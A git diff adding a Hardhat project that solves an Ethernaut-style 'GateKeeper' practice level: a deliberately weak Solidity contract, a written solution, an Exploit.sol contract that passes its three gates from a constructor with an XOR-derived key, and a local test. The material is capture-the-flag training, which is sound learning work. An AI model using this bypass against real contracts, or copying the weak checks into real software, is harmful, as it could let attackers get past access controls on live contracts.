diff --git a/ethernaut/gatekeeper/.gitignore b/ethernaut/gatekeeper/.gitignore new file mode 100644 index 0000000..0f09530 --- /dev/null +++ b/ethernaut/gatekeeper/.gitignore @@ -0,0 +1,12 @@ +node_modules +.env +coverage +coverage.json +typechain +typechain-types + +# Hardhat files +cache +artifacts + +yarn.lock \ No newline at end of file diff --git a/ethernaut/gatekeeper/README.md b/ethernaut/gatekeeper/README.md new file mode 100644 index 0000000..78bc92e --- /dev/null +++ b/ethernaut/gatekeeper/README.md @@ -0,0 +1,43 @@ +# GateKeeper + +This gatekeeper introduces a few new challenges. Register as an entrant to pass this level. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract GateKeeper { + address public entrant; + + modifier gateOne() { + require(msg.sender != tx.origin, 'GateKeeper: gate 1 not passed'); + _; + } + + modifier gateTwo() { + require(msg.sender.code.length == 0, 'GateKeeper: gate 2 not passed'); + _; + } + + modifier gateThree(bytes8 _gateKey) { + require( + uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ + uint64(_gateKey) == + type(uint64).max, + 'GateKeeper: gate 3 not passed' + ); + _; + } + + function enter( + bytes8 _gateKey + ) public gateOne gateTwo gateThree(_gateKey) returns (bool) { + entrant = tx.origin; + return true; + } +} +``` + +See solution in `SOLUTION.md` + +[Inspired by](https://ethernaut.openzeppelin.com/level/0xf59112032D54862E199626F55cFad4F8a3b0Fce9) \ No newline at end of file diff --git a/ethernaut/gatekeeper/SOLUTION.md b/ethernaut/gatekeeper/SOLUTION.md new file mode 100644 index 0000000..8dbc138 --- /dev/null +++ b/ethernaut/gatekeeper/SOLUTION.md @@ -0,0 +1,8 @@ +# GateKeeper solution + +1. To pass through the first gate, the caller has to be a smart contract. When a smart contract calls another smart contract, the `msg.sender` value changes to the address of the calling contract, whereas `tx.origin` remains the address of externally owned account. Thus we need to call `enter` from an intermediary smart contract. +2. However to pass the second gate this contract lenght should equal zero. This is achievable if the smart contract consists only of a constructor, and we will call the `enter` function directly from the constructor. +3. In the third gate `^` means XOR, or Exclusive or. If we apply the XOR operation in reverse order, we get the required gate key. + +- `contracts/Exploit.sol` - intermediary smart contract +- `test/GateKeeper.test.ts` - testing the solution \ No newline at end of file diff --git a/ethernaut/gatekeeper/contracts/Exploit.sol b/ethernaut/gatekeeper/contracts/Exploit.sol new file mode 100644 index 0000000..5c3d52a --- /dev/null +++ b/ethernaut/gatekeeper/contracts/Exploit.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import './GateKeeper.sol'; + +contract Exploit { + constructor(GateKeeper gateKeeper) { + bytes8 gateKey = bytes8( + type(uint64).max ^ + uint64(bytes8(keccak256(abi.encodePacked(address(this))))) + ); + require(gateKeeper.enter(gateKey), 'Failed to enter'); + } +} diff --git a/ethernaut/gatekeeper/contracts/GateKeeper.sol b/ethernaut/gatekeeper/contracts/GateKeeper.sol new file mode 100644 index 0000000..5baa76e --- /dev/null +++ b/ethernaut/gatekeeper/contracts/GateKeeper.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract GateKeeper { + address public entrant; + + modifier gateOne() { + require(msg.sender != tx.origin, 'GateKeeper: gate 1 not passed'); + _; + } + + modifier gateTwo() { + require(msg.sender.code.length == 0, 'GateKeeper: gate 2 not passed'); + _; + } + + modifier gateThree(bytes8 _gateKey) { + require( + uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ + uint64(_gateKey) == + type(uint64).max, + 'GateKeeper: gate 3 not passed' + ); + _; + } + + function enter( + bytes8 _gateKey + ) public gateOne gateTwo gateThree(_gateKey) returns (bool) { + entrant = tx.origin; + return true; + } +} diff --git a/ethernaut/gatekeeper/hardhat.config.ts b/ethernaut/gatekeeper/hardhat.config.ts new file mode 100644 index 0000000..cd8df42 --- /dev/null +++ b/ethernaut/gatekeeper/hardhat.config.ts @@ -0,0 +1,8 @@ +import { HardhatUserConfig } from "hardhat/config"; +import "@nomicfoundation/hardhat-toolbox"; + +const config: HardhatUserConfig = { + solidity: "0.8.18", +}; + +export default config; diff --git a/ethernaut/gatekeeper/package.json b/ethernaut/gatekeeper/package.json new file mode 100644 index 0000000..4906268 --- /dev/null +++ b/ethernaut/gatekeeper/package.json @@ -0,0 +1,28 @@ +{ + "name": "gatekeeper", + "version": "1.0.0", + "main": "index.js", + "license": "MIT", + "devDependencies": { + "@ethersproject/abi": "^5.4.7", + "@ethersproject/providers": "^5.4.7", + "@nomicfoundation/hardhat-chai-matchers": "^1.0.0", + "@nomicfoundation/hardhat-network-helpers": "^1.0.0", + "@nomicfoundation/hardhat-toolbox": "^2.0.0", + "@nomiclabs/hardhat-ethers": "^2.0.0", + "@nomiclabs/hardhat-etherscan": "^3.0.0", + "@typechain/ethers-v5": "^10.1.0", + "@typechain/hardhat": "^6.1.2", + "@types/chai": "^4.2.0", + "@types/mocha": ">=9.1.0", + "@types/node": ">=12.0.0", + "chai": "^4.2.0", + "ethers": "^5.4.7", + "hardhat": "^2.13.0", + "hardhat-gas-reporter": "^1.0.8", + "solidity-coverage": "^0.8.0", + "ts-node": ">=8.0.0", + "typechain": "^8.1.0", + "typescript": ">=4.5.0" + } +} diff --git a/ethernaut/gatekeeper/test/GateKeeper.test.ts b/ethernaut/gatekeeper/test/GateKeeper.test.ts new file mode 100644 index 0000000..280cb6c --- /dev/null +++ b/ethernaut/gatekeeper/test/GateKeeper.test.ts @@ -0,0 +1,26 @@ +import { expect } from 'chai'; +import { ethers } from 'hardhat'; +import { GateKeeper } from '../typechain-types'; + +describe('GateKeeper', function () { + let gateKeeper: GateKeeper; + + async function deploy() { + const GateKeeperFactory = await ethers.getContractFactory('GateKeeper'); + gateKeeper = await GateKeeperFactory.deploy(); + } + + before(deploy); + + it('entrant should not be set on GateKeeper', async () => { + expect(await gateKeeper.entrant()).to.equal(ethers.constants.AddressZero); + }); + + it('entrant should pass through the GateKeeper', async () => { + const [deployer] = await ethers.getSigners(); + const ExploitFactory = await ethers.getContractFactory('Exploit'); + const exploit = await ExploitFactory.deploy(gateKeeper.address); + await exploit.deployed(); + expect(await gateKeeper.entrant()).to.equal(deployer.address); + }); +}); diff --git a/ethernaut/gatekeeper/tsconfig.json b/ethernaut/gatekeeper/tsconfig.json new file mode 100644 index 0000000..574e785 --- /dev/null +++ b/ethernaut/gatekeeper/tsconfig.json @@ -0,0 +1,11 @@ +{ + "compilerOptions": { + "target": "es2020", + "module": "commonjs", + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "strict": true, + "skipLibCheck": true, + "resolveJsonModule": true + } +}